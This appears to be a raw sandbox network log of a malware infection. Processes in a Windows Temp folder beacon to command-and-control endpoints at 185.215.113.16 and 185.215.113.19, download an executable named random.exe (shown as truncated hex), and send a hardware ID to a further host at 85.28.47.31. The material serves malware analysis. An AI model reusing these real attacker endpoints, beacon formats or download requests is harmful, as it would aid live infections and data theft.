Jul 27, 2024 12:02:04.739042044 CEST	1236	IN	Data Raw: fc 89 9d cc fd ff ff 3b de 0f 8d 17 09 00 00 83 8d f0 fd ff ff 04 f7 9d cc fd ff ff e9 05 09 00 00 8b 85 cc fd ff ff 6b c0 0a 0f be ca 8d 44 08 d0 89 85 cc fd ff ff e9 ea 08 00 00 89 b5 e8 fd ff ff e9 df 08 00 00 80 fa 2a 75 26 83 c3 04 89 9d d8 Data Ascii: ;kD*u&[;kDItUhtDltwr?luGWK ?<6u4u
Jul 27, 2024 12:02:04.739090919 CEST	1236	IN	Data Raw: ff 8b f8 eb 0a c7 85 e8 fd ff ff a3 00 00 00 8b 03 8b 35 d4 30 42 00 83 c3 08 89 85 88 fd ff ff 8b 43 fc 89 85 8c fd ff ff 8d 85 a4 fd ff ff 50 ff b5 94 fd ff ff 0f be c2 ff b5 e8 fd ff ff 89 9d d8 fd ff ff 50 ff b5 9c fd ff ff 8d 85 88 fd ff ff Data Ascii: 50BCPPWP5\|BtuPW5\|BYYguuPW5\|BYY?-uGW$sHH
Jul 27, 2024 12:02:04.739135981 CEST	1236	IN	Data Raw: ff 55 8b ec 81 ec 28 03 00 00 a1 fc 7c 42 00 33 c5 89 45 fc 53 8b 5d 08 57 83 fb ff 74 07 53 e8 00 42 00 00 59 83 a5 e0 fc ff ff 00 6a 4c 8d 85 e4 fc ff ff 6a 00 50 e8 e3 15 00 00 8d 85 e0 fc ff ff 89 85 d8 fc ff ff 8d 85 30 fd ff ff 83 c4 0c 89 Data Ascii: U(\|B3ES]WtSBYjLjP0ffffffEM0IMM0Bj
Jul 27, 2024 12:02:04.739183903 CEST	1236	IN	Data Raw: 00 81 4e 0c 00 80 00 00 59 eb 0a 83 c6 20 56 ff 15 f8 30 42 00 5e 5d c3 8b ff 55 8b ec 8b 45 08 83 f8 14 7d 16 83 c0 10 50 e8 d3 40 00 00 8b 45 0c 81 48 0c 00 80 00 00 59 5d c3 8b 45 0c 83 c0 20 50 ff 15 f8 30 42 00 5d c3 8b ff 55 8b ec 8b 45 08 Data Ascii: NY V0B^]UE}P@EHY]E P0B]UEqB;r=tBw`+P?Y] P0B]UME}`Q?Y] P0B]ULVEP0Bj@j ^Ve9YY3;u`D5\D
Jul 27, 2024 12:02:04.742630005 CEST	1236	IN	Data Raw: cf 33 0c 38 e8 c8 37 00 00 8b 4e 0c 8b 56 08 03 cf 33 0c 3a e8 b8 37 00 00 8b 45 f0 8b 48 08 8b d7 e8 4a 3d 00 00 ba fe ff ff ff 39 53 0c 0f 84 4f ff ff ff 68 fc 7c 42 00 57 8b cb e8 61 3d 00 00 e9 19 ff ff ff 8b ff 55 8b ec 8b 4d 08 85 c9 74 1b Data Ascii: 387NV3:7EHJ=9SOh\|BWa=UMtj3X;Es3]MVuF3wVj5JC0Bu2=JCtVYuEt3Mt^]UVuMEut0u$3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49729	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:04.210288048 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:04.980849981 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:04.981765032 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:05.232450962 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49730	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:05.345942020 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:06.106640100 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:06.107182980 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:06.358608961 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49731	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:06.003361940 CEST	182	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 31 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000016001&unit=246122658369
Jul 27, 2024 12:02:06.757527113 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49732	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:06.680360079 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:07.312663078 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:07.313496113 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:07.559127092 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49733	185.215.113.16	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:06.766311884 CEST	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Jul 27, 2024 12:02:07.527661085 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:07 GMT Content-Type: application/octet-stream Content-Length: 3206656 Last-Modified: Sat, 27 Jul 2024 09:24:03 GMT Connection: keep-alive ETag: "66a4bcb3-30ee00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 95 bc a4 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 c6 08 00 00 00 00 00 28 ef ad 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELf"(@1@ PP^L0PP@@@@@Pb@.rsrcR@@x`(@.data! !@
Jul 27, 2024 12:02:07.527687073 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 79 e0 22 ab 1e d7 61 29 4b da 2a 8e f8 f6 50 8a eb 6b c7 46 7c 51 be a5 6c Data Ascii: y"a)K*PkF\|QlDL]SH$f%<U^jy3%d/Q\RFme:!BFKYp?h&hjGg7_BtWTP.XEutrT9
Jul 27, 2024 12:02:07.527705908 CEST	1236	IN	Data Raw: f2 c7 2f d4 e3 eb aa 97 8d db 48 4d 63 93 15 ac ce 3e f1 db 12 d6 5f 76 e2 1b 1e fe 1a 2b e2 2f c6 19 88 72 79 ad e0 52 6a fa 17 a5 e3 65 fb 71 19 9b 33 90 2d 44 2a 7a 18 37 a1 53 40 79 f3 e3 11 a8 41 08 a3 96 6a 38 8b ca 1a 23 33 bb 27 2b 9e cd Data Ascii: /HMc>_v+/ryRjeq3-D*z7S@yAj8#3'++'BHZy:pYS[Vo]27%]YDjL^Q<vE82J#<XHoH&_p(q)'CR0Oh&~v=fX,;tRE.S
Jul 27, 2024 12:02:07.527720928 CEST	1236	IN	Data Raw: 27 6c 99 45 ee 87 35 a8 fa 8d 53 2d 9a ad bc 08 a4 1e d7 b4 6b 8f eb 5a 00 6e e0 7b a8 9e 4b 7a 36 ee 63 cb 9e 6d 07 db 7a ac c7 37 bb 23 eb 9b 16 77 4c c4 aa 59 3f 36 ff 01 4c d7 e6 ec 92 17 71 48 ac b7 5b d6 56 39 40 a8 58 69 0e 2d 99 84 27 30 Data Ascii: 'lE5S-kZn{Kz6cmz7#wLY?6LqH[V9@Xi-'0c;z0d.2-W\|P\wV~fF0]dgbkP;<C*wQGwKEe32[]4 OJlne)s6cmE+LJG\|](;Z
Jul 27, 2024 12:02:07.527736902 CEST	1236	IN	Data Raw: e3 23 31 e5 94 57 75 27 7a 8f 10 8b 1a 28 06 03 4a 31 2e 07 d2 6b 02 a7 6a 6e 94 5d a8 b5 3b 0b 5c 30 41 36 20 73 77 46 c8 58 8d 8f 14 2c a5 c8 cb 9b 5b 44 4e 31 6b 14 70 3b 16 f5 49 bd 1d 14 53 43 43 35 31 e8 6c be 2a 03 28 fe da ce 9f 41 2e 38 Data Ascii: #1Wu'z(J1.kjn];\0A6 swFX,[DN1kp;ISCC51l*(A.8:[]c\|Kn#oAq~Q1togx6<jzrLEe.cTF1Afz\p5HVj+WbF<4U[HE]$J3wzo1m:qt
Jul 27, 2024 12:02:07.527751923 CEST	880	IN	Data Raw: 73 e5 36 ba ab ca 3a fb 2d 47 ec 40 b2 55 2f d8 3b 58 4d 97 6a 9c 9a c7 1c 53 39 56 db 73 25 5c e8 d3 7e cc ca ac be 9e 03 b1 72 e1 98 5b 94 cd ef 08 5d 95 85 f5 60 bb 99 79 9e c6 86 f3 47 42 38 6f 4c 2b c0 62 6c 23 e5 b7 ca 88 7c e6 f0 2f 2e 13 Data Ascii: s6:-G@U/;XMjS9Vs%\~r[]`yGB8oL+bl#\|/.+oGQcU)z`LV=6`ryquT{C^YYkl$KM/f,\L9sDd^zd;4U~EDM
Jul 27, 2024 12:02:07.527769089 CEST	1236	IN	Data Raw: c1 f7 24 66 aa 21 57 8e fb 18 cd ee 84 aa 83 39 b2 0a 0f 86 e5 b5 e3 66 69 26 84 3c 96 9b 04 20 d1 d3 31 96 b8 a6 9f 7d 9c 72 7e da b0 ef 73 cc 06 89 8f c7 fa d2 55 95 dc 13 7a 5d f1 5e 1f 39 14 1a 57 b1 fb 00 1b 01 5c 70 5e e4 0a e5 e5 d3 0b 58 Data Ascii: $f!W9fi&< 1}r~sUz]^9W\p^X-r[w[7Q_zsXz1qIf/P1csR2Hd-hy5:<T8z`K:7wp\|'g-JeU[na])
Jul 27, 2024 12:02:07.527817965 CEST	1236	IN	Data Raw: 8f a8 31 2c 21 3d 14 a0 ae f0 26 cc 85 bf 14 50 a0 18 60 8e 35 3d 58 93 c6 30 59 73 b8 26 1e e9 a5 33 93 db 1c 6a b8 fc cb a9 00 1c ff c1 c2 6a dd 08 ce a3 59 60 fb 36 c8 69 f1 16 3b 7c ff f9 7b 16 de 26 77 9e 4e e8 3c 61 e2 9e 32 98 83 b8 4a 14 Data Ascii: 1,!=&P`5=X0Ys&3jjY`6i;\|{&wN<a2J]qf/I~ff@=o,Y>GlgN/3Ug9\|IXtU9?ioRegh`lN#&\9Dj#0Dl9nOk9Lb.0\w[2u~:\
Jul 27, 2024 12:02:07.527832985 CEST	1236	IN	Data Raw: 98 53 b5 aa 17 4c 85 e4 a5 a0 70 46 81 57 9d fb 7a 61 7e cb 35 a9 d8 15 c3 84 29 8c 77 23 9b 95 08 74 0d c5 b6 cb 45 6e ab f5 8d 73 8d d5 4c 44 54 fd b6 79 ce b7 fc 3b 0f a5 0d bb 8c 31 5e da 70 05 b5 ca d8 82 ce 40 4b 57 94 45 98 e6 9e 60 73 bb Data Ascii: SLpFWza~5)w#tEnsLDTy;1^p@KWE`sFrB'\`Jia}}6$.I,\|dJ'w%tiY+1ELJ1DF7\|WAEM2_-C,"bvRV&#4@Hf}3{aRn`1$O
Jul 27, 2024 12:02:07.527861118 CEST	1236	IN	Data Raw: 9d 30 5b 9e 12 10 8a ae ae 7d ed eb a5 5b 55 0e c9 96 1b f4 87 e0 db 31 22 35 59 7e 5f 67 69 86 2e 7d b6 b8 a1 d9 4c 22 c2 6a b6 f4 18 bc 88 90 43 96 db 62 ef d5 ec cb 4e ee b0 ee 9a 92 36 b3 64 f5 9a 37 fa 31 64 0e 8d ad 85 e5 5e 63 46 89 6d 98 Data Ascii: 0[}[U1"5Y~_gi.}L"jCbN6d71d^cFmItG9l<?:6pA^!.S.yUlPmO{QOek$s[lQM^wU8C@k@K>qVS0S__1G]eMew_+
Jul 27, 2024 12:02:07.533292055 CEST	1236	IN	Data Raw: 41 c7 f4 af 10 c5 2d b0 c5 a1 80 45 37 71 02 48 38 3b cb 21 3f f3 5c 5a ac 79 0e 1d 20 6c 5f f2 3f 7c 5e c9 60 31 6f 83 27 09 f0 f5 ca 12 59 a9 b3 c6 cc 0f 02 7b b9 67 30 df c9 5a 74 79 0a 6d af cf 7f 76 21 72 2d e0 ef 1a 7f 1e f6 16 82 ab 9f 8a Data Ascii: A-E7qH8;!?\Zy l_?\|^`1o'Y{g0Ztymv!r-Q0B>p]mNh<)navhag~K9JR'E;WLCJA4`Fn$KsoZXn*?<g+l~5MG%=$#+{~tm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49734	85.28.47.31	80	7968	C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:06.879569054 CEST	86	OUT	GET / HTTP/1.1 Host: 85.28.47.31 Connection: Keep-Alive Cache-Control: no-cache
Jul 27, 2024 12:02:07.500689983 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 10:02:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 12:02:07.502649069 CEST	409	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIJEBAECGCBKECAAAEB Host: 85.28.47.31 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 31 32 35 45 38 39 44 38 30 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 2d 2d 0d 0a Data Ascii: ------GIIJEBAECGCBKECAAAEBContent-Disposition: form-data; name="hwid"B125E89D806E2371543510------GIIJEBAECGCBKECAAAEBContent-Disposition: form-data; name="build"sila------GIIJEBAECGCBKECAAAEB--
Jul 27, 2024 12:02:07.699539900 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 10:02:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49735	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:07.699779034 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:08.747821093 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:08.748739004 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:08.750200033 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:09.000797033 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49737	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:09.112431049 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:09.898787022 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:09.899512053 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:10.159101009 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49739	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:10.269123077 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:11.079091072 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:11.118319035 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
